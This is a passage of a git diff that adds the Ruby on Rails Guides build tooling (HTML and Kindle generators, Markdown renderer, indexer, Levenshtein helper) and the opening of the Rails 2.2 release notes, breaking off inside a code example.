+        Mime::Type.register_alias("application/xml", :ncx, %w(ncx))
+      end
+
+      def check_for_kindlegen
+        if `which kindlegen`.blank?
+          raise "Can't create a kindle version without `kindlegen`."
+        end
+      end
+
+      def generate_mobi
+        require "rails_guides/kindle"
+        out = "#{@output_dir}/kindlegen.out"
+        Kindle.generate(@output_dir, mobi, out)
+        puts "(kindlegen log at #{out})."
+      end
+
+      def mobi
+        mobi  = "ruby_on_rails_guides_#{@version || @edge[0, 7]}"
+        mobi += ".#{@language}" if @language
+        mobi += ".mobi"
+      end
+
+      def initialize_dirs
+        @guides_dir = File.expand_path("..", __dir__)
+
+        @source_dir  = "#{@guides_dir}/source"
+        @source_dir += "/#{@language}" if @language
+
+        @output_dir  = "#{@guides_dir}/output"
+        @output_dir += "/kindle"       if @kindle
+        @output_dir += "/#{@language}" if @language
+      end
+
+      def create_output_dir_if_needed
+        FileUtils.mkdir_p(@output_dir)
+      end
+
+      def initialize_markdown_renderer
+        Markdown::Renderer.edge    = @edge
+        Markdown::Renderer.version = @version
+      end
+
+      def generate_guides
+        guides_to_generate.each do |guide|
+          output_file = output_file_for(guide)
+          generate_guide(guide, output_file) if generate?(guide, output_file)
+        end
+      end
+
+      def guides_to_generate
+        guides = Dir.entries(@source_dir).grep(GUIDES_RE)
+
+        if @kindle
+          Dir.entries("#{@source_dir}/kindle").grep(GUIDES_RE).map do |entry|
+            next if entry == "KINDLE.md"
+            guides << "kindle/#{entry}"
+          end
+        end
+
+        @only ? select_only(guides) : guides
+      end
+
+      def select_only(guides)
+        prefixes = @only.split(",").map(&:strip)
+        guides.select do |guide|
+          guide.start_with?("kindle", *prefixes)
+        end
+      end
+
+      def copy_assets
+        FileUtils.cp_r(Dir.glob("#{@guides_dir}/assets/*"), @output_dir)
+      end
+
+      def output_file_for(guide)
+        if guide.end_with?(".md")
+          guide.sub(/md\z/, "html")
+        else
+          guide.sub(/\.erb\z/, "")
+        end
+      end
+
+      def output_path_for(output_file)
+        File.join(@output_dir, File.basename(output_file))
+      end
+
+      def generate?(source_file, output_file)
+        fin  = File.join(@source_dir, source_file)
+        fout = output_path_for(output_file)
+        @all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin)
+      end
+
+      def generate_guide(guide, output_file)
+        output_path = output_path_for(output_file)
+        puts "Generating #{guide} as #{output_file}"
+        layout = @kindle ? "kindle/layout" : "layout"
+
+        File.open(output_path, "w") do |f|
+          view = ActionView::Base.new(
+            @source_dir,
+            edge:     @edge,
+            version:  @version,
+            mobi:     "kindle/#{mobi}",
+            language: @language
+          )
+          view.extend(Helpers)
+
+          if guide =~ /\.(\w+)\.erb$/
+            # Generate the special pages like the home.
+            # Passing a template handler in the template name is deprecated. So pass the file name without the extension.
+            result = view.render(layout: layout, formats: [$1], file: $`)
+          else
+            body = File.read("#{@source_dir}/#{guide}")
+            result = RailsGuides::Markdown.new(
+              view:    view,
+              layout:  layout,
+              edge:    @edge,
+              version: @version
+            ).render(body)
+
+            warn_about_broken_links(result)
+          end
+
+          f.write(result)
+        end
+      end
+
+      def warn_about_broken_links(html)
+        anchors = extract_anchors(html)
+        check_fragment_identifiers(html, anchors)
+      end
+
+      def extract_anchors(html)
+        # Markdown generates headers with IDs computed from titles.
+        anchors = Set.new
+        html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
+          if anchors.member?(anchor)
+            puts "*** DUPLICATE ID: #{anchor}, please make sure that there're no headings with the same name at the same level."
+          else
+            anchors << anchor
+          end
+        end
+
+        # Footnotes.
+        anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
+        anchors += Set.new(html.scan(/<sup\s+class="footnote"\s+id="([^"]+)/).flatten)
+        anchors
+      end
+
+      def check_fragment_identifiers(html, anchors)
+        html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
+          next if fragment_identifier == "mainCol" # in layout, jumps to some DIV
+          unless anchors.member?(fragment_identifier)
+            guess = anchors.min { |a, b|
+              Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b)
+            }
+            puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}."
+          end
+        end
+      end
+  end
+end
diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb
new file mode 100644
index 0000000000..520aa7f7cc
--- /dev/null
+++ b/guides/rails_guides/helpers.rb
@@ -0,0 +1,53 @@
+require "yaml"
+
+module RailsGuides
+  module Helpers
+    def guide(name, url, options = {}, &block)
+      link = content_tag(:a, href: url) { name }
+      result = content_tag(:dt, link)
+
+      if options[:work_in_progress]
+        result << content_tag(:dd, "Work in progress", class: "work-in-progress")
+      end
+
+      result << content_tag(:dd, capture(&block))
+      result
+    end
+
+    def documents_by_section
+      @documents_by_section ||= YAML.load_file(File.expand_path("../source/#{@language ? @language + '/' : ''}documents.yaml", __dir__))
+    end
+
+    def documents_flat
+      documents_by_section.flat_map { |section| section["documents"] }
+    end
+
+    def finished_documents(documents)
+      documents.reject { |document| document["work_in_progress"] }
+    end
+
+    def docs_for_menu(position = nil)
+      if position.nil?
+        documents_by_section
+      elsif position == "L"
+        documents_by_section.to(3)
+      else
+        documents_by_section.from(4)
+      end
+    end
+
+    def author(name, nick, image = "credits_pic_blank.gif", &block)
+      image = "images/#{image}"
+
+      result = tag(:img, src: image, class: "left pic", alt: name, width: 91, height: 91)
+      result << content_tag(:h3, name)
+      result << content_tag(:p, capture(&block))
+      content_tag(:div, result, class: "clearfix", id: nick)
+    end
+
+    def code(&block)
+      c = capture(&block)
+      content_tag(:code, c)
+    end
+  end
+end
diff --git a/guides/rails_guides/indexer.rb b/guides/rails_guides/indexer.rb
new file mode 100644
index 0000000000..c58b6b85a2
--- /dev/null
+++ b/guides/rails_guides/indexer.rb
@@ -0,0 +1,68 @@
+require "active_support/core_ext/object/blank"
+require "active_support/core_ext/string/inflections"
+
+module RailsGuides
+  class Indexer
+    attr_reader :body, :result, :warnings, :level_hash
+
+    def initialize(body, warnings)
+      @body     = body
+      @result   = @body.dup
+      @warnings = warnings
+    end
+
+    def index
+      @level_hash = process(body)
+    end
+
+    private
+
+      def process(string, current_level = 3, counters = [1])
+        s = StringScanner.new(string)
+
+        level_hash = {}
+
+        while !s.eos?
+          re = %r{^h(\d)(?:\((#.*?)\))?\s*\.\s*(.*)$}
+          s.match?(re)
+          if matched = s.matched
+            matched =~ re
+            level, idx, title = $1.to_i, $2, $3.strip
+
+            if level < current_level
+              # This is needed. Go figure.
+              return level_hash
+            elsif level == current_level
+              index = counters.join(".")
+              idx ||= "#" + title_to_idx(title)
+
+              raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{idx}). #{index} #{title}")
+
+              key = {
+                title: title,
+                id: idx
+              }
+              # Recurse
+              counters << 1
+              level_hash[key] = process(s.post_match, current_level + 1, counters)
+              counters.pop
+
+              # Increment the current level
+              last = counters.pop
+              counters << last + 1
+            end
+          end
+          s.getch
+        end
+        level_hash
+      end
+
+      def title_to_idx(title)
+        idx = title.strip.parameterize.sub(/^\d+/, "")
+        if warnings && idx.blank?
+          puts "BLANK ID: please put an explicit ID for section #{title}, as in h5(#my-id)"
+        end
+        idx
+      end
+  end
+end
diff --git a/guides/rails_guides/kindle.rb b/guides/rails_guides/kindle.rb
new file mode 100644
index 0000000000..9536d0bd3b
--- /dev/null
+++ b/guides/rails_guides/kindle.rb
@@ -0,0 +1,115 @@
+#!/usr/bin/env ruby
+
+require "kindlerb"
+require "nokogiri"
+require "fileutils"
+require "yaml"
+require "date"
+
+module Kindle
+  extend self
+
+  def generate(output_dir, mobi_outfile, logfile)
+    output_dir = File.absolute_path(output_dir)
+    Dir.chdir output_dir do
+      puts "=> Using output dir: #{output_dir}"
+      puts "=> Arranging html pages in document order"
+      toc = File.read("toc.ncx")
+      doc = Nokogiri::XML(toc).xpath("//ncx:content", "ncx" => "http://www.daisy.org/z3986/2005/ncx/")
+      html_pages = doc.select { |c| c[:src] }.map { |c| c[:src] }.uniq
+
+      generate_front_matter(html_pages)
+
+      generate_sections(html_pages)
+
+      generate_document_metadata(mobi_outfile)
+
+      puts "Creating MOBI document with kindlegen. This may take a while."
+      if Kindlerb.run(output_dir)
+        puts "MOBI document generated at #{File.expand_path(mobi_outfile, output_dir)}"
+      end
+    end
+  end
+
+  def generate_front_matter(html_pages)
+    frontmatter = []
+    html_pages.delete_if { |x|
+      if x =~ /(toc|welcome|credits|copyright).html/
+        frontmatter << x unless x =~ /toc/
+        true
+      end
+    }
+    html = frontmatter.map { |x|
+      Nokogiri::HTML(File.open(x)).at("body").inner_html
+    }.join("\n")
+
+    fdoc = Nokogiri::HTML(html)
+    fdoc.search("h3").each do |h3|
+      h3.name = "h4"
+    end
+    fdoc.search("h2").each do |h2|
+      h2.name = "h3"
+      h2["id"] = h2.inner_text.gsub(/\s/, "-")
+    end
+    add_head_section fdoc, "Front Matter"
+    File.open("frontmatter.html", "w") { |f| f.puts fdoc.to_html }
+    html_pages.unshift "frontmatter.html"
+  end
+
+  def generate_sections(html_pages)
+    FileUtils::rm_rf("sections/")
+    html_pages.each_with_index do |page, section_idx|
+      FileUtils::mkdir_p("sections/%03d" % section_idx)
+      doc = Nokogiri::HTML(File.open(page))
+      title = doc.at("title").inner_text.gsub("Ruby on Rails Guides: ", "")
+      title = page.capitalize.gsub(".html", "") if title.strip == ""
+      File.open("sections/%03d/_section.txt" % section_idx, "w") { |f| f.puts title }
+      doc.xpath("//h3[@id]").each_with_index do |h3, item_idx|
+        subsection = h3.inner_text
+        content = h3.xpath("./following-sibling::*").take_while { |x| x.name != "h3" }.map(&:to_html)
+        item = Nokogiri::HTML(h3.to_html + content.join("\n"))
+        item_path = "sections/%03d/%03d.html" % [section_idx, item_idx]
+        add_head_section(item, subsection)
+        item.search("img").each do |img|
+          img["src"] = "#{Dir.pwd}/#{img['src']}"
+        end
+        item.xpath("//li/p").each { |p| p.swap(p.children); p.remove }
+        File.open(item_path, "w") { |f| f.puts item.to_html }
+      end
+    end
+  end
+
+  def generate_document_metadata(mobi_outfile)
+    puts "=> Generating _document.yml"
+    x = Nokogiri::XML(File.open("rails_guides.opf")).remove_namespaces!
+    cover_jpg = "#{Dir.pwd}/images/rails_guides_kindle_cover.jpg"
+    cover_gif = cover_jpg.sub(/jpg$/, "gif")
+    puts `convert #{cover_jpg} #{cover_gif}`
+    document = {
+      "doc_uuid" => x.at("package")["unique-identifier"],
+      "title" => x.at("title").inner_text.gsub(/\(.*$/, " v2"),
+      "publisher" => x.at("publisher").inner_text,
+      "author" => x.at("creator").inner_text,
+      "subject" => x.at("subject").inner_text,
+      "date" => x.at("date").inner_text,
+      "cover" => cover_gif,
+      "masthead" => nil,
+      "mobi_outfile" => mobi_outfile
+    }
+    puts document.to_yaml
+    File.open("_document.yml", "w") { |f| f.puts document.to_yaml }
+  end
+
+  def add_head_section(doc, title)
+    head = Nokogiri::XML::Node.new "head", doc
+    title_node = Nokogiri::XML::Node.new "title", doc
+    title_node.content = title
+    title_node.parent = head
+    css = Nokogiri::XML::Node.new "link", doc
+    css["rel"] = "stylesheet"
+    css["type"] = "text/css"
+    css["href"] = "#{Dir.pwd}/stylesheets/kindle.css"
+    css.parent = head
+    doc.at("body").before head
+  end
+end
diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb
new file mode 100644
index 0000000000..40c6a5c372
--- /dev/null
+++ b/guides/rails_guides/levenshtein.rb
@@ -0,0 +1,42 @@
+module RailsGuides
+  module Levenshtein
+    # This code is based directly on the Text gem implementation.
+    # Copyright (c) 2006-2013 Paul Battley, Michael Neumann, Tim Fletcher.
+    #
+    # Returns a value representing the "cost" of transforming str1 into str2
+    def self.distance(str1, str2)
+      s = str1
+      t = str2
+      n = s.length
+      m = t.length
+
+      return m if (0 == n)
+      return n if (0 == m)
+
+      d = (0..m).to_a
+      x = nil
+
+      # avoid duplicating an enumerable object in the loop
+      str2_codepoint_enumerable = str2.each_codepoint
+
+      str1.each_codepoint.with_index do |char1, i|
+        e = i + 1
+
+        str2_codepoint_enumerable.with_index do |char2, j|
+          cost = (char1 == char2) ? 0 : 1
+          x = [
+               d[j + 1] + 1, # insertion
+               e + 1,      # deletion
+               d[j] + cost # substitution
+              ].min
+          d[j] = e
+          e = x
+        end
+
+        d[m] = x
+      end
+
+      return x
+    end
+  end
+end
diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb
new file mode 100644
index 0000000000..02d58601c4
--- /dev/null
+++ b/guides/rails_guides/markdown.rb
@@ -0,0 +1,171 @@
+require "redcarpet"
+require "nokogiri"
+require "rails_guides/markdown/renderer"
+
+module RailsGuides
+  class Markdown
+    def initialize(view:, layout:, edge:, version:)
+      @view          = view
+      @layout        = layout
+      @edge          = edge
+      @version       = version
+      @index_counter = Hash.new(0)
+      @raw_header    = ""
+      @node_ids      = {}
+    end
+
+    def render(body)
+      @raw_body = body
+      extract_raw_header_and_body
+      generate_header
+      generate_title
+      generate_body
+      generate_structure
+      generate_index
+      render_page
+    end
+
+    private
+
+      def dom_id(nodes)
+        dom_id = dom_id_text(nodes.last.text)
+
+        # Fix duplicate node by prefix with its parent node
+        if @node_ids[dom_id]
+          if @node_ids[dom_id].size > 1
+            duplicate_nodes = @node_ids.delete(dom_id)
+            new_node_id = "#{duplicate_nodes[-2][:id]}-#{duplicate_nodes.last[:id]}"
+            duplicate_nodes.last[:id] = new_node_id
+            @node_ids[new_node_id] = duplicate_nodes
+          end
+
+          dom_id = "#{nodes[-2][:id]}-#{dom_id}"
+        end
+
+        @node_ids[dom_id] = nodes
+        dom_id
+      end
+
+      def dom_id_text(text)
+        escaped_chars = Regexp.escape('\\/`*_{}[]()#+-.!:,;|&<>^~=\'"')
+
+        text.downcase.gsub(/\?/, "-questionmark")
+                     .gsub(/!/, "-bang")
+                     .gsub(/[#{escaped_chars}]+/, " ").strip
+                     .gsub(/\s+/, "-")
+      end
+
+      def engine
+        @engine ||= Redcarpet::Markdown.new(Renderer,
+          no_intra_emphasis: true,
+          fenced_code_blocks: true,
+          autolink: true,
+          strikethrough: true,
+          superscript: true,
+          tables: true
+        )
+      end
+
+      def extract_raw_header_and_body
+        if @raw_body =~ /^\-{40,}$/
+          @raw_header, _, @raw_body = @raw_body.partition(/^\-{40,}$/).map(&:strip)
+        end
+      end
+
+      def generate_body
+        @body = engine.render(@raw_body)
+      end
+
+      def generate_header
+        @header = engine.render(@raw_header).html_safe
+      end
+
+      def generate_structure
+        @headings_for_index = []
+        if @body.present?
+          @body = Nokogiri::HTML.fragment(@body).tap do |doc|
+            hierarchy = []
+
+            doc.children.each do |node|
+              if node.name =~ /^h[3-6]$/
+                case node.name
+                when "h3"
+                  hierarchy = [node]
+                  @headings_for_index << [1, node, node.inner_html]
+                when "h4"
+                  hierarchy = hierarchy[0, 1] + [node]
+                  @headings_for_index << [2, node, node.inner_html]
+                when "h5"
+                  hierarchy = hierarchy[0, 2] + [node]
+                when "h6"
+                  hierarchy = hierarchy[0, 3] + [node]
+                end
+
+                node[:id] = dom_id(hierarchy)
+                node.inner_html = "#{node_index(hierarchy)} #{node.inner_html}"
+              end
+            end
+
+            doc.css("h3, h4, h5, h6").each do |node|
+              node.inner_html = "<a class='anchorlink' href='##{node[:id]}'>#{node.inner_html}</a>"
+            end
+          end.to_html
+        end
+      end
+
+      def generate_index
+        if @headings_for_index.present?
+          raw_index = ""
+          @headings_for_index.each do |level, node, label|
+            if level == 1
+              raw_index += "1. [#{label}](##{node[:id]})\n"
+            elsif level == 2
+              raw_index += "    * [#{label}](##{node[:id]})\n"
+            end
+          end
+
+          @index = Nokogiri::HTML.fragment(engine.render(raw_index)).tap do |doc|
+            doc.at("ol")[:class] = "chapters"
+          end.to_html
+
+          @index = <<-INDEX.html_safe
+          <div id="subCol">
+            <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+            #{@index}
+          </div>
+          INDEX
+        end
+      end
+
+      def generate_title
+        if heading = Nokogiri::HTML.fragment(@header).at(:h2)
+          @title = "#{heading.text} — Ruby on Rails Guides"
+        else
+          @title = "Ruby on Rails Guides"
+        end
+      end
+
+      def node_index(hierarchy)
+        case hierarchy.size
+        when 1
+          @index_counter[2] = @index_counter[3] = @index_counter[4] = 0
+          "#{@index_counter[1] += 1}"
+        when 2
+          @index_counter[3] = @index_counter[4] = 0
+          "#{@index_counter[1]}.#{@index_counter[2] += 1}"
+        when 3
+          @index_counter[4] = 0
+          "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3] += 1}"
+        when 4
+          "#{@index_counter[1]}.#{@index_counter[2]}.#{@index_counter[3]}.#{@index_counter[4] += 1}"
+        end
+      end
+
+      def render_page
+        @view.content_for(:header_section) { @header }
+        @view.content_for(:page_title) { @title }
+        @view.content_for(:index_section) { @index }
+        @view.render(layout: @layout, html: @body.html_safe)
+      end
+  end
+end
diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb
new file mode 100644
index 0000000000..7ac3d417a4
--- /dev/null
+++ b/guides/rails_guides/markdown/renderer.rb
@@ -0,0 +1,121 @@
+module RailsGuides
+  class Markdown
+    class Renderer < Redcarpet::Render::HTML
+      cattr_accessor :edge, :version
+
+      def block_code(code, language)
+        <<-HTML
+<div class="code_container">
+<pre class="brush: #{brush_for(language)}; gutter: false; toolbar: false">
+#{ERB::Util.h(code)}
+</pre>
+</div>
+HTML
+      end
+
+      def link(url, title, content)
+        if url.start_with?("http://api.rubyonrails.org")
+          %(<a href="#{api_link(url)}">#{content}</a>)
+        elsif title
+          %(<a href="#{url}" title="#{title}">#{content}</a>)
+        else
+          %(<a href="#{url}">#{content}</a>)
+        end
+      end
+
+      def header(text, header_level)
+        # Always increase the heading level by 1, so we can use h1, h2 heading in the document
+        header_level += 1
+
+        %(<h#{header_level}>#{text}</h#{header_level}>)
+      end
+
+      def paragraph(text)
+        if text =~ %r{^NOTE:\s+Defined\s+in\s+<code>(.*?)</code>\.?$}
+          %(<div class="note"><p>Defined in <code><a href="#{github_file_url($1)}">#{$1}</a></code>.</p></div>)
+        elsif text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:]/
+          convert_notes(text)
+        elsif text.include?("DO NOT READ THIS FILE ON GITHUB")
+        elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/
+          linkback = %(<a href="#footnote-#{$1}-ref"><sup>#{$1}</sup></a>)
+          %(<p class="footnote" id="footnote-#{$1}">#{linkback} #{$2}</p>)
+        else
+          text = convert_footnotes(text)
+          "<p>#{text}</p>"
+        end
+      end
+
+      private
+
+        def convert_footnotes(text)
+          text.gsub(/\[<sup>(\d+)\]<\/sup>/i) do
+            %(<sup class="footnote" id="footnote-#{$1}-ref">) +
+              %(<a href="#footnote-#{$1}">#{$1}</a></sup>)
+          end
+        end
+
+        def brush_for(code_type)
+          case code_type
+          when "ruby", "sql", "plain"
+            code_type
+          when "erb", "html+erb"
+            "ruby; html-script: true"
+          when "html"
+            "xml" # HTML is understood, but there are .xml rules in the CSS
+          else
+            "plain"
+          end
+        end
+
+        def convert_notes(body)
+          # The following regexp detects special labels followed by a
+          # paragraph, perhaps at the end of the document.
+          #
+          # It is important that we do not eat more than one newline
+          # because formatting may be wrong otherwise. For example,
+          # if a bulleted list follows the first item is not rendered
+          # as a list item, but as a paragraph starting with a plain
+          # asterisk.
+          body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do
+            css_class = \
+              case $1
+              when "CAUTION", "IMPORTANT"
+                "warning"
+              when "TIP"
+                "info"
+              else
+                $1.downcase
+              end
+            %(<div class="#{css_class}"><p>#{$2.strip}</p></div>)
+          end
+        end
+
+        def github_file_url(file_path)
+          tree = version || edge
+
+          root = file_path[%r{(\w+)/}, 1]
+          path = \
+            case root
+            when "abstract_controller", "action_controller", "action_dispatch"
+              "actionpack/lib/#{file_path}"
+            when /\A(action|active)_/
+              "#{root.sub("_", "")}/lib/#{file_path}"
+            else
+              file_path
+            end
+
+          "https://github.com/rails/rails/tree/#{tree}/#{path}"
+        end
+
+        def api_link(url)
+          if url =~ %r{http://api\.rubyonrails\.org/v\d+\.}
+            url
+          elsif edge
+            url.sub("api", "edgeapi")
+          else
+            url.sub(/(?<=\.org)/, "/#{version}")
+          end
+        end
+    end
+  end
+end
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
new file mode 100644
index 0000000000..ac5833e069
--- /dev/null
+++ b/guides/source/2_2_release_notes.md
@@ -0,0 +1,436 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 2.2 Release Notes
+===============================
+
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub.
+
+Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
+
+--------------------------------------------------------------------------------
+
+Infrastructure
+--------------
+
+Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
+
+### Internationalization
+
+Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
+
+* Lead Contributors: Rails i18 Team
+* More information :
+    * [Official Rails i18 website](http://rails-i18n.org)
+    * [Finally. Ruby on Rails gets internationalized](https://web.archive.org/web/20140407075019/http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized)
+    * [Localizing Rails : Demo application](https://github.com/clemens/i18n_demo_app)
+
+### Compatibility with Ruby 1.9 and JRuby
+
+Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
+
+Documentation
+-------------
+
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+
+* [Getting Started with Rails](getting_started.html)
+* [Rails Database Migrations](active_record_migrations.html)
+* [Active Record Associations](association_basics.html)
+* [Active Record Query Interface](active_record_querying.html)
+* [Layouts and Rendering in Rails](layouts_and_rendering.html)
+* [Action View Form Helpers](form_helpers.html)
+* [Rails Routing from the Outside In](routing.html)
+* [Action Controller Overview](action_controller_overview.html)
+* [Rails Caching](caching_with_rails.html)
+* [A Guide to Testing Rails Applications](testing.html)
+* [Securing Rails Applications](security.html)
+* [Debugging Rails Applications](debugging_rails_applications.html)
+* [The Basics of Creating Rails Plugins](plugins.html)
+
+All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
+
+If you want to generate these guides locally, inside your application:
+
+```
+rake doc:guides
+```
+
+This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser.
+
+* Lead Contributors: [Rails Documentation Team](credits.html)
+* Major contributions from [Xavier Noria](http://advogato.org/person/fxn/diary.html) and [Hongli Lai](http://izumi.plan99.net/blog/).
+* More information:
+    * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide)
+    * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)
+
+Better integration with HTTP : Out of the box ETag support
+----------------------------------------------------------
+
+Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+
+```ruby
+class ArticlesController < ApplicationController
+  def show_with_respond_to_block
+    @article = Article.find(params[:id])
+
+    # If the request sends headers that differs from the options provided to stale?, then
+    # the request is indeed stale and the respond_to block is triggered (and the options
+    # to the stale? call is set on the response).
+    #
+    # If the request headers match, then the request is fresh and the respond_to block is
+    # not triggered. Instead the default render will occur, which will check the last-modified
+    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+    # of rendering the template.
+    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+      respond_to do |wants|
+        # normal response processing
+      end
+    end
+  end
+
+  def show_with_implied_render
+    @article = Article.find(params[:id])
+
+    # Sets the response headers and checks them against the request, if the request is stale
+    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+    # If the request is fresh, then the default render will return a "304 Not Modified"
+    # instead of rendering the template.
+    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+  end
+end
+```
+
+Thread Safety
+-------------
+
+The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
+
+To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`:
+
+```ruby
+config.threadsafe!
+```
+
+* More information :
+    * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails)
+    * [Thread safety project announcement](http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
+    * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html)
+
+Active Record
+-------------
+
+There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
+
+### Transactional Migrations
+
+Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
+
+* Lead Contributor: [Adam Wiggins](http://adam.heroku.com/)
+* More information:
+    * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/)
+    * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/)
+
+### Connection Pooling
+
+Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it.
+
+```yaml
+development:
+  adapter: mysql
+  username: root
+  database: sample_development
+  pool: 10
+  wait_timeout: 10
+```
+
+* Lead Contributor: [Nick Sieger](http://blog.nicksieger.com/)
+* More information:
+    * [What's New in Edge Rails: Connection Pools](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools)
+
+### Hashes for Join Table Conditions
+
+You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
+
+```ruby
+class Photo < ActiveRecord::Base
+  belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+  has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+```
+
+* More information:
+    * [What's New in Edge Rails: Easy Join Table Conditions](http://archives.ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions)
+
+### New Dynamic Finders
+
+Two new sets of methods have been added to Active Record's dynamic finders family.
+
+#### `find_last_by_attribute`
+
+The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})`
+
+```ruby
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+```
+
+* Lead Contributor: [Emilio Tagua](http://www.workingwithrails.com/person/9147-emilio-tagua)
+
+#### `find_by_attribute!`
+
+The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+```ruby
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+```
+
+* Lead Contributor: [Josh Susser](http://blog.hasmanythrough.com)
+
+### Associations Respect Private/Protected Scope
+
+Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` to match the behavior in order for associations to function normally.
+
+* Lead Contributor: Adam Milligan
+* More information:
+    * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/)
+
+### Other Active Record Changes
+
+* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo
+* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp.
+* Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer.
+* `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names
+
+Action Controller
+-----------------
+
+On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
+
+### Shallow Route Nesting
+
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
+
+```ruby
+map.resources :publishers, :shallow => true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+```
+
+This will enable recognition of (among others) these routes:
+
+```
